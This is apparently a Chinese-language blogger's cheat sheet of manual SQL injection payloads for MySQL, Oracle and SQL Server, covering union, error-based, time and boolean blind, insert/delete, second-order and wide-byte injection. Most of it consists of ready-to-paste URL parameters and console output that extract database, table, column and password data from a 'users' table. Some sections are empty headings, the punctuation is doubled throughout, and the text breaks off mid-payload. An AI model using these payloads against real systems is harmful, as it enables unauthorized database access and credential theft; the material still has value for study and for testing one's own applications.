雖說(shuō)目前互聯(lián)網(wǎng)上已經(jīng)有很多關(guān)于 sql 注入的神器了,但是在這個(gè) WAF 橫行的時(shí)代,,手工注入往往在一些真實(shí)環(huán)境中會(huì)顯得尤為重要,。本文主要把以前學(xué)過(guò)的知識(shí)做個(gè)總結(jié),不會(huì)有詳細(xì)的知識(shí)解讀,,類似于查詢手冊(cè)的形式,,便于以后的復(fù)習(xí)與查閱,,文中內(nèi)容可能會(huì)存在錯(cuò)誤,,望師傅們斧正! 0x01 Mysql 手工注入1.1 聯(lián)合注入?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' --+ #group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+ #group_concat 可替換為 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+ 1.2 報(bào)錯(cuò)注入
每個(gè)一個(gè)報(bào)錯(cuò)語(yǔ)句都有它的原理: exp() 報(bào)錯(cuò)的原理:exp 是一個(gè)數(shù)學(xué)函數(shù),,取e的x次方,,當(dāng)我們輸入的值大于709就會(huì)報(bào)錯(cuò),然后 ~ 取反它的值總會(huì)大于709,,所以報(bào)錯(cuò),。 updatexml() 報(bào)錯(cuò)的原理:由于 updatexml 的第二個(gè)參數(shù)需要 Xpath 格式的字符串,以 ~ 開頭的內(nèi)容不是 xml 格式的語(yǔ)法,,concat() 函數(shù)為字符串連接函數(shù)顯然不符合規(guī)則,,但是會(huì)將括號(hào)內(nèi)的執(zhí)行結(jié)果以錯(cuò)誤的形式報(bào)出,這樣就可以實(shí)現(xiàn)報(bào)錯(cuò)注入了,。 爆庫(kù):?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 爆數(shù)據(jù):?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 這里需要注意的是它加了連接字符,,導(dǎo)致數(shù)據(jù)中的 md5 只能爆出 31 位,這里可以用分割函數(shù)分割出來(lái):
1.3 盲注1.3.1 時(shí)間盲注時(shí)間盲注也叫延時(shí)注入 一般用到函數(shù) sleep() BENCHMARK() 還可以使用笛卡爾積(盡量不要使用,內(nèi)容太多會(huì)很慢很慢) 一般時(shí)間盲注我們還需要使用條件判斷函數(shù) #if(expre1,,expre2,,expre3) 當(dāng) expre1 為 true 時(shí),返回 expre2,,false 時(shí),,返回 expre3
#盲注的同時(shí)也配合著 mysql 提供的分割函 substr、substring,、left 我們一般喜歡把分割的函數(shù)編碼一下,,當(dāng)然不編碼也行,編碼的好處就是可以不用引號(hào),,常用到的就有 ascii() hex() 等等
1.3.2 布爾盲注
1.4 insert,delete,updateinsert,delete,update 主要是用到盲注和報(bào)錯(cuò)注入,,此類注入點(diǎn)不建議使用 sqlmap 等工具,會(huì)造成大量垃圾數(shù)據(jù),,一般這種注入會(huì)出現(xiàn)在 注冊(cè),、ip頭、留言板等等需要寫入數(shù)據(jù)的地方,同時(shí)這種注入不報(bào)錯(cuò)一般較難發(fā)現(xiàn),,我們可以嘗試性插入,、引號(hào)、雙引號(hào),、轉(zhuǎn)義符 \ 讓語(yǔ)句不能正常執(zhí)行,,然后如果插入失敗,更新失敗,,然后深入測(cè)試確定是否存在注入 1.4.1 報(bào)錯(cuò)mysql> insert into admin (id,username,password) values (2,'or updatexml(1,concat(0x7e,(version())),0) or','admin'); Query OK, 1 row affected (0.00 sec)
mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,''or updatexml(1,concat(0x7e,(version())),0) or'','admin'); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危險(xiǎn),,很危險(xiǎn),很危險(xiǎn),,切記不能使用 or 1=1 ,,or 右邊一定要為false mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' 1.4.2 盲注
1.5 二次注入與寬字節(jié)注入二次注入的語(yǔ)句:在沒有被單引號(hào)包裹的sql語(yǔ)句下,我們可以用16進(jìn)制編碼他,,這樣就不會(huì)帶有單引號(hào)等,。 mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11'); Query OK, 1 row affected (0.00 sec)
mysql> select * from admin; +----+-----------+-------+ | id | name | pass | +----+-----------+-------+ | 1 | admin | admin | | 2 | admin'111 | 11111 | | 3 | admin'--+ | 11 | +----+-----------+-------+ 4 rows in set (0.00 sec) 二次注入在沒有源碼的情況比較難發(fā)現(xiàn),通常見于注冊(cè),,登錄惡意賬戶后,,數(shù)據(jù)庫(kù)可能會(huì)因?yàn)閻阂赓~戶名的問題,將 admin'--+ 誤認(rèn)為 admin 賬戶 寬字節(jié)注入:針對(duì)目標(biāo)做了一定的防護(hù),,單引號(hào)轉(zhuǎn)變?yōu)?nbsp;
0x02 Oracle 手工注入2.1 聯(lián)合注入?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)-- ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)-- 2.2 報(bào)錯(cuò)注入
2.3 盲注 2.3.1 布爾盲注既然是盲注,那么肯定涉及到條件判斷語(yǔ)句,,Oracle除了使用IF the else end if這種復(fù)雜的,,還可以使用 decode() 函數(shù)。 該函數(shù)的含義如下: IF 條件=值1 THEN RETURN(返回值1) ELSIF 條件=值2 THEN RETURN(返回值2) ...... ELSIF 條件=值n THEN RETURN(返回值n) ELSE RETURN(缺省值) END IF
2.3.2 時(shí)間盲注 可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時(shí)間)函數(shù)進(jìn)行時(shí)間盲注,,這個(gè)函數(shù)可以指定延遲的時(shí)間 ?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- 0x03 SQL server 手工注入3.1 聯(lián)合注入
3.2 報(bào)錯(cuò)注入?id=1' and 1=(select 1/@@servername)-- ?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))-- 3.3 盲注3.3.1 布爾盲注
3.3.2 時(shí)間盲注?id= 1';if(2>1) waitfor delay '0:0:5'-- ?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay |
|